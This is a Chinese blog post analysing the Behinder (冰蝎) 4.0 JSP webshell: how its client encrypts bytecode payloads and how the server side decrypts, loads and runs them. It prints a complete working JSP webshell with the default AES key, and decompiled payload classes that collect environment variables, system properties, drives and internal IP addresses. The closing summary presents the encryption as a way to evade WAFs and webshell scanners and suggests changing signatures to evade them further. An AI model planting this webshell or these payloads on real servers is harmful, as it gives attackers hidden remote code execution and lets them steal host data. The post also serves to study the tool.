devbox
2023面试高手
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

冰蝎4.0jsp木马浅析_冰蝎 jsp马利用

作者：2023面试高手 | 2024-04-09 14:33:12

赞

踩

冰蝎 jsp马利用

前言

这里简单学习一下冰蝎是怎么运行的，如何通过加密解密来绕过一些常见的waf设备

工作流程

  1. 冰蝎准备一个经过加密的字节码，放入请求体中

  2. 服务端通过jsp中的密钥解密,然后调用equals方法，来获取此次执行的结果

  3. 将获取到的结果通过设置的密钥加密，返回给客户端

  4. 客户端通过密钥解密

由此可以知道密钥在流程中非常的重要，冰蝎的默认的密码为rebeyond，其加密之后得到的前16位密钥为e45e329feb5d925b

通过以下代码可以获取

  1. import org.springframework.util.DigestUtils;
  2. import java.security.NoSuchAlgorithmException;
  3.  
  4. public class GenerateKey {
  5.  
  6.     public static void main(String[] args) throws NoSuchAlgorithmException {
  7.         String key = "rebeyond";
  8.         System.out.println(getMd5Key(key).substring(0, 16));
  9.     }
  10.  
  11.     public static String getMd5Key(String key){
  12.         String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());
  13.         return md5Key;
  14.  
  15.     }
  16.  
  17. }

这里使用的jsp木马如下

我这里做了一些便于学习的东西，将冰蝎发送过来的字节码保存成类文件，更直观一点

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
  3. <%@ page import="java.io.FileOutputStream" %>
  4. <%!
  5.     //自定义类加载器
  6.     class U extends ClassLoader{
  7.         U(ClassLoader c){
  8.             super(c);
  9.         }
  10.         public Class g(byte []b)
  11.         {
  12.             //调用父类defineClass方法
  13.             return super.defineClass(b,0,b.length);
  14.         }
  15.     }
  16. %>
  17. <%
  18.     if (request.getMethod().equals("POST")){
  19.         String k="e45e329feb5d925b";
  20.         session.putValue("u",k);
  21.         Cipher c=Cipher.getInstance("AES");
  22.         c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
  23.  
  24. //        获取客户端数据
  25.         String line = request.getReader().readLine();
  26. //        base64解码客户端数据
  27.         byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
  28. //        AES解密
  29.         byte[] b1 = c.doFinal(b);
  30. //        调用父类defineClass方法，将传入数据还原为Class对象
  31. //这里的路径需要修改成你需要保存的路径
  32.         FileOutputStream fo = new FileOutputStream("D:\\Java_Study_Thingsobj2.class");
  33.         fo.write(b1);
  34.         U u = new U(this.getClass().getClassLoader());
  35.         Class clazz = u.g(b1);
  36. //        实例化对象将输出写入pageContext
  37. //        客户端传入的字节码指向的类中重写了equals方法传入pageContext对象，通过pageContext对象
  38. //        可以间接操作response，将执行结果写入response返回给客户端
  39.         clazz.newInstance().equals(pageContext);
  40. //        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  41.     }
  42. %>

这个jsp的木马也比较好理解，将密钥作为标识符设置到session中，然后判断是否为POST请求，如果是的话先获取客户端的请求体数据，然后先解码base64，然后解密获取class字节码数据，调用方法g来实例化对象，然后调用equals

代码分析

当点击shell列表中的shell时，会触发一系列的方法，这里涉及到javafx的东西，不在文章中简述

图片

从doConnect开始跟进

图片

Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串，后续会有使用

进入echo，带入生成的字符串

图片

进入Utils.getData

图片

进入Params.getParamedClass

图片

getTransProtocoledClass

图片

在之前传入的Echo，在这里组合成net.rebeyond.behinder.payload.java.Echo，就是冰蝎在第一次运行的时候需要请求信息，那么每次发送的payload都需要编译的话速度会非常慢，所以作者使用操作字节码的方式来发送payload

  1. 首先获取Echo的CtClass对象

  2. 修改类名

  3. 移除Encrypt方法

  4. 创建Encrypt方法

返回Echo的字节码

然后进入到getParamedClass方法中

图片

在这里使用了做了以下的操作:

  1. 修改类名，随机命名

  2. 使用观察者模式来操作字节码，遇到其实就是无参构造方法的时候，进行操作，具体是啥这里先不解释

回到Utils,进入cryptor.encrypt

图片

this.getEncodeCls();

这个方法，创建了一个名为test的类，类中包含默认的加密方法，以便于下面的字节码操作

通过反射获取Encrypt方法，利用这个方法加密前面获取Echo类的字节码

回到ShellService类

图片

下面就是把加密的字节码发送到服务器去解析了

进入doRequestAndParse

图片

一直跟进

图片

前面就是在添加header头，然后发送数据包

图片

然后看服务器上

  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5.  
  6. package net.ozfvwj.qjxyz;
  7.  
  8. import java.lang.reflect.Method;
  9. import java.util.Iterator;
  10. import java.util.LinkedHashMap;
  11. import java.util.Map;
  12. import java.util.Random;
  13. import javax.crypto.Cipher;
  14. import javax.crypto.spec.SecretKeySpec;
  15.  
  16. public class Vlfq {
  17.     public static String content;
  18.     public static String payloadBody;
  19.     private Object Request;
  20.     private Object Response;
  21.     private Object Session;
  22.  
  23.     public Vlfq() {
  24.         content = "";
  25.         content = content + "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";
  26.         super();
  27.     }
  28.  
  29.     public boolean equals(Object obj) {
  30.         LinkedHashMap result = new LinkedHashMap();
  31.         boolean var13 = false;
  32.  
  33.         Object so;
  34.         Method write;
  35.         label95: {
  36.             try {
  37.                 var13 = true;
  38.                 this.fillContext(obj);
  39.                 result.put("status", "success");
  40.                 result.put("msg", content);
  41.                 var13 = false;
  42.                 break label95;
  43.             } catch (Exception var19) {
  44.                 result.put("msg", var19.getMessage());
  45.                 result.put("status", "success");
  46.                 var13 = false;
  47.             } finally {
  48.                 if (var13) {
  49.                     try {
  50.                         so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  51.                         write = so.getClass().getMethod("write", byte[].class);
  52.                         System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));
  53.                         write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
  54.                         so.getClass().getMethod("flush").invoke(so);
  55.                         so.getClass().getMethod("close").invoke(so);
  56.                     } catch (Exception var16) {
  57.                         var16.printStackTrace();
  58.                     }
  59.                 }
  60.  
  61.             }
  62.  
  63.             try {
  64.                 so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  65.                 write = so.getClass().getMethod("write", byte[].class);
  66.                 System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));
  67.                 write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
  68.                 so.getClass().getMethod("flush").invoke(so);
  69.                 so.getClass().getMethod("close").invoke(so);
  70.             } catch (Exception var17) {
  71.                 var17.printStackTrace();
  72.             }
  73.  
  74.             return true;
  75.         }
  76.  
  77.         try {
  78.             so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  79.             write = so.getClass().getMethod("write", byte[].class);
  80.             write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  81.             so.getClass().getMethod("flush").invoke(so);
  82.             so.getClass().getMethod("close").invoke(so);
  83.         } catch (Exception var18) {
  84.             var18.printStackTrace();
  85.         }
  86.  
  87.         return true;
  88.     }
  89.  
  90.     private String buildJson(Map entity, boolean encode) throws Exception {
  91.         StringBuilder sb = new StringBuilder();
  92.         String version = System.getProperty("java.version");
  93.         sb.append("{");
  94.         Iterator var5 = entity.keySet().iterator();
  95.  
  96.         while(var5.hasNext()) {
  97.             String key = (String)var5.next();
  98.             sb.append("\"" + key + "\":\"");
  99.             String value = (String)entity.get(key);
  100.             if (encode) {
  101.                 value = this.base64encode(value.getBytes());
  102.             }
  104.             sb.append(value);
  105.             sb.append("\",");
  106.         }
  107.  
  108.         if (sb.toString().endsWith(",")) {
  109.             sb.setLength(sb.length() - 1);
  110.         }
  111.  
  112.         sb.append("}");
  113.         return sb.toString();
  114.     }
  115.  
  116.     private void fillContext(Object obj) throws Exception {
  117.         if (obj.getClass().getName().indexOf("PageContext") >= 0) {
  118.             this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
  119.             this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
  120.             this.Session = obj.getClass().getMethod("getSession").invoke(obj);
  121.         } else {
  122.             Map objMap = (Map)obj;
  123.             this.Session = objMap.get("session");
  124.             this.Response = objMap.get("response");
  125.             this.Request = objMap.get("request");
  126.         }
  127.  
  128.         this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
  129.     }
  130.  
  131.     private String base64encode(byte[] data) throws Exception {
  132.         String result = "";
  133.         String version = System.getProperty("java.version");
  134.  
  135.         Class Base64;
  136.         try {
  137.             this.getClass();
  138.             Base64 = Class.forName("java.util.Base64");
  139.             Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
  140.             result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
  141.         } catch (Throwable var7) {
  142.             this.getClass();
  143.             Base64 = Class.forName("sun.misc.BASE64Encoder");
  144.             Object Encoder = Base64.newInstance();
  145.             result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
  146.             result = result.replace("\n", "").replace("\r", "");
  147.         }
  148.  
  149.         return result;
  150.     }
  151.  
  152.     private byte[] getMagic() throws Exception {
  153.         String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
  154.         int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
  155.         Random random = new Random();
  156.         byte[] buf = new byte[magicNum];
  157.  
  158.         for(int i = 0; i < buf.length; ++i) {
  159.             buf[i] = (byte)random.nextInt(256);
  160.         }
  161.  
  162.         return buf;
  163.     }
  164.  
  165.     private byte[] Encrypt(byte[] var1) throws Exception {
  166.         String var2 = "e45e329feb5d925b";
  167.         byte[] var3 = var2.getBytes("utf-8");
  168.         SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
  169.         Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
  170.         var5.init(1, var4);
  171.         byte[] var6 = var5.doFinal(var1);
  172.  
  173.         Class var7;
  174.         try {
  175.             var7 = Class.forName("java.util.Base64");
  176.             Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
  177.             var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
  178.         } catch (Throwable var12) {
  179.             var7 = Class.forName("sun.misc.BASE64Encoder");
  180.             Object var10 = var7.newInstance();
  181.             String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
  182.             var11 = var11.replace("\n", "").replace("\r", "");
  183.             var6 = var11.getBytes();
  184.         }
  185.  
  186.         return var6;
  187.     }
  188. }

在服务器端的jsp木马调用的equals方法，来具体看看这一步做了什么

  1. 调用fillContext方法，来初始化request和response以及一些后续需要用到的参数,这就是为啥会选择equals的方法了，传入的obj对象里面都包含需要用到的对象

  2. 获取response的write输出流，然后获取服务器的java版本，似乎没有用到这个版本信息，然后对result进行json处理

  3. 通过默认的e45e329feb5d925b作为aes的加密key来加密保存了信息的map

  4. 然后在对aes加密的内容做一个base64的编码

    图片

解码之后

图片

发现这和发送的二进制流类字节码的代码中的content参数一致

然后我们发现在二进制流类中的构造方法

图片

其实就对应了getParamedClass方法中对构造方法的操作

然后回到本地

图片

这里就在处理一些服务器返回的信息，将response的headers赋值到resheaders中，然后进行迭代

将body里面的加密内容和data做一个map赋值到result中，服务器返回的数据里面是没有data这个东西的，这里需要注意一下，然后将返回的状态码和status以及返回包头和header做map处理，最后将result赋值给var22，返回var22

然后回到requestAndParse

图片

取出data信息，就是返回包中的body信息，赋值到resultObj中，返回resultObj

回到shellService

图片

取出header，然后手动创建一个status和msg的json字符串，为了后面与接受的比较，后续就是在做一个解密的操作了

回到doConnect方法

进行判断，返回的msg字符串是否和本地生成的一样

图片

图片

回到MainWindowController，在这里继续生成随机长度的字符串

然后继续进入getBasicInfo

图片

进入parseCommonAction，在这里使用了BasicInfo这个类

图片

进入getData

图片

发现和上一步的类似,也是返回对应类的class字节码，对其加密，就不继续分析了，直接快进到doRequestAndParse发送请求

服务器接受到的类

  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5.  
  6. package sun.wspc;
  7.  
  8. import java.io.File;
  9. import java.lang.reflect.Method;
  10. import java.net.Inet4Address;
  11. import java.net.InetAddress;
  12. import java.net.NetworkInterface;
  13. import java.util.Enumeration;
  14. import java.util.HashMap;
  15. import java.util.Iterator;
  16. import java.util.Map;
  17. import java.util.Properties;
  18. import java.util.Random;
  19. import java.util.Set;
  20. import javax.crypto.Cipher;
  21. import javax.crypto.spec.SecretKeySpec;
  22.  
  23. public class Vmwqtmzls {
  24.     public static String whatever;
  25.     private Object Request;
  26.     private Object Response;
  27.     private Object Session;
  28.  
  29.     public Vmwqtmzls() {
  30.         whatever = "";
  31.         whatever = whatever + "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
  32.         super();
  33.     }
  34.  
  35.     public boolean equals(Object obj) {
  36.         HashMap result = new HashMap();
  37.         boolean var22 = false;
  38.  
  39.         Object so;
  40.         Method write;
  41.         label147: {
  42.             try {
  43.                 var22 = true;
  44.                 this.fillContext(obj);
  45.                 StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
  46.                 Map env = System.getenv();
  47.                 Iterator var5 = env.keySet().iterator();
  48.  
  49.                 while(var5.hasNext()) {
  50.                     String name = (String)var5.next();
  51.                     basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
  52.                 }
  53.  
  54.                 basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
  55.                 Properties props = System.getProperties();
  56.                 Set entrySet = props.entrySet();
  57.                 Iterator var7 = entrySet.iterator();
  58.  
  59.                 while(var7.hasNext()) {
  60.                     Map.Entry entry = (Map.Entry)var7.next();
  61.                     basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
  62.                 }
  63.  
  64.                 String currentPath = (new File("")).getAbsolutePath();
  65.                 String driveList = "";
  66.                 File[] roots = File.listRoots();
  67.                 File[] var10 = roots;
  68.                 int var11 = roots.length;
  69.  
  70.                 for(int var12 = 0; var12 < var11; ++var12) {
  71.                     File f = var10[var12];
  72.                     driveList = driveList + f.getPath() + ";";
  73.                 }
  74.  
  75.                 String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
  76.                 Map entity = new HashMap();
  77.                 entity.put("basicInfo", basicInfo.toString());
  78.                 entity.put("currentPath", currentPath);
  79.                 entity.put("driveList", driveList);
  80.                 entity.put("osInfo", osInfo);
  81.                 entity.put("arch", System.getProperty("os.arch"));
  82.                 entity.put("localIp", this.getInnerIp());
  83.                 result.put("status", "success");
  84.                 result.put("msg", this.buildJson(entity, true));
  85.                 var22 = false;
  86.                 break label147;
  87.             } catch (Exception var32) {
  88.                 var22 = false;
  89.             } finally {
  90.                 if (var22) {
  91.                     try {
  92.                         so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  93.                         write = so.getClass().getMethod("write", byte[].class);
  94.                         write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  95.                         so.getClass().getMethod("flush").invoke(so);
  96.                         so.getClass().getMethod("close").invoke(so);
  97.                     } catch (Exception var30) {
  98.                     }
  99.                 }
  100.  
  101.             }
  102.  
  103.             try {
  104.                 so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  105.                 write = so.getClass().getMethod("write", byte[].class);
  106.                 write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  107.                 so.getClass().getMethod("flush").invoke(so);
  108.                 so.getClass().getMethod("close").invoke(so);
  109.             } catch (Exception var29) {
  110.             }
  111.  
  112.             return true;
  113.         }
  114.  
  115.         try {
  116.             so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  117.             write = so.getClass().getMethod("write", byte[].class);
  118.             write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  119.             so.getClass().getMethod("flush").invoke(so);
  120.             so.getClass().getMethod("close").invoke(so);
  121.         } catch (Exception var31) {
  122.         }
  123.  
  124.         return true;
  125.     }
  126.  
  127.     private String getInnerIp() {
  128.         String ips = "";
  129.  
  130.         try {
  131.             Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();
  132.             InetAddress ip = null;
  133.  
  134.             while(netInterfaces.hasMoreElements()) {
  135.                 NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
  136.                 Enumeration addresses = netInterface.getInetAddresses();
  137.  
  138.                 while(addresses.hasMoreElements()) {
  139.                     ip = (InetAddress)addresses.nextElement();
  140.                     if (ip != null && ip instanceof Inet4Address) {
  141.                         ips = ips + ip.getHostAddress() + " ";
  142.                     }
  143.                 }
  144.             }
  145.         } catch (Exception var6) {
  146.         }
  147.  
  148.         ips = ips.replace("127.0.0.1", "").trim();
  149.         return ips;
  150.     }
  151.  
  152.     private String buildJson(Map entity, boolean encode) throws Exception {
  153.         StringBuilder sb = new StringBuilder();
  154.         String version = System.getProperty("java.version");
  155.         sb.append("{");
  156.         Iterator var5 = entity.keySet().iterator();
  157.  
  158.         while(var5.hasNext()) {
  159.             String key = (String)var5.next();
  160.             sb.append("\"" + key + "\":\"");
  161.             String value = ((String)entity.get(key)).toString();
  162.             if (encode) {
  163.                 Class Base64;
  164.                 Object Encoder;
  165.                 if (version.compareTo("1.9") >= 0) {
  166.                     this.getClass();
  167.                     Base64 = Class.forName("java.util.Base64");
  168.                     Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
  169.                     value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
  170.                 } else {
  171.                     this.getClass();
  172.                     Base64 = Class.forName("sun.misc.BASE64Encoder");
  173.                     Encoder = Base64.newInstance();
  174.                     value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
  175.                     value = value.replace("\n", "").replace("\r", "");
  176.                 }
  177.             }
  179.             sb.append(value);
  180.             sb.append("\",");
  181.         }
  182.  
  183.         sb.setLength(sb.length() - 1);
  184.         sb.append("}");
  185.         return sb.toString();
  186.     }
  187.  
  188.     private String base64encode(byte[] data) throws Exception {
  189.         String result = "";
  190.         String version = System.getProperty("java.version");
  191.  
  192.         Class Base64;
  193.         try {
  194.             this.getClass();
  195.             Base64 = Class.forName("java.util.Base64");
  196.             Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
  197.             result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
  198.         } catch (Throwable var7) {
  199.             this.getClass();
  200.             Base64 = Class.forName("sun.misc.BASE64Encoder");
  201.             Object Encoder = Base64.newInstance();
  202.             result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
  203.             result = result.replace("\n", "").replace("\r", "");
  204.         }
  205.  
  206.         return result;
  207.     }
  208.  
  209.     private void fillContext(Object obj) throws Exception {
  210.         if (obj.getClass().getName().indexOf("PageContext") >= 0) {
  211.             this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
  212.             this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
  213.             this.Session = obj.getClass().getMethod("getSession").invoke(obj);
  214.         } else {
  215.             Map objMap = (Map)obj;
  216.             this.Session = objMap.get("session");
  217.             this.Response = objMap.get("response");
  218.             this.Request = objMap.get("request");
  219.         }
  220.  
  221.         this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
  222.     }
  223.  
  224.     private byte[] getMagic() throws Exception {
  225.         String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
  226.         int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
  227.         Random random = new Random();
  228.         byte[] buf = new byte[magicNum];
  229.  
  230.         for(int i = 0; i < buf.length; ++i) {
  231.             buf[i] = (byte)random.nextInt(256);
  232.         }
  233.  
  234.         return buf;
  235.     }
  236.  
  237.     private byte[] Encrypt(byte[] var1) throws Exception {
  238.         String var2 = "e45e329feb5d925b";
  239.         byte[] var3 = var2.getBytes("utf-8");
  240.         SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
  241.         Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
  242.         var5.init(1, var4);
  243.         byte[] var6 = var5.doFinal(var1);
  244.  
  245.         Class var7;
  246.         try {
  247.             var7 = Class.forName("java.util.Base64");
  248.             Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
  249.             var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
  250.         } catch (Throwable var12) {
  251.             var7 = Class.forName("sun.misc.BASE64Encoder");
  252.             Object var10 = var7.newInstance();
  253.             String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
  254.             var11 = var11.replace("\n", "").replace("\r", "");
  255.             var6 = var11.getBytes();
  256.         }
  257.  
  258.         return var6;
  259.     }
  260. }

可以看见这里获取了环境变量以及jar系统信息

图片

图片

在这里也是同样的,处理返回的信息

这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中

总结

在看完了冰蝎是怎么连接之后，对于冰蝎的工作原理也有了一定的理解，本地和服务器端都做加密和解密的操作，以此来绕过流量检测设备以及一些waf，而且通过动态的加载class字节码，也可以绕过一些普通的webshell查杀设备，后续的一些绕过，可以在加密方式以及特征值的修改上入手

参考链接

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/2023面试高手/article/detail/393366
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号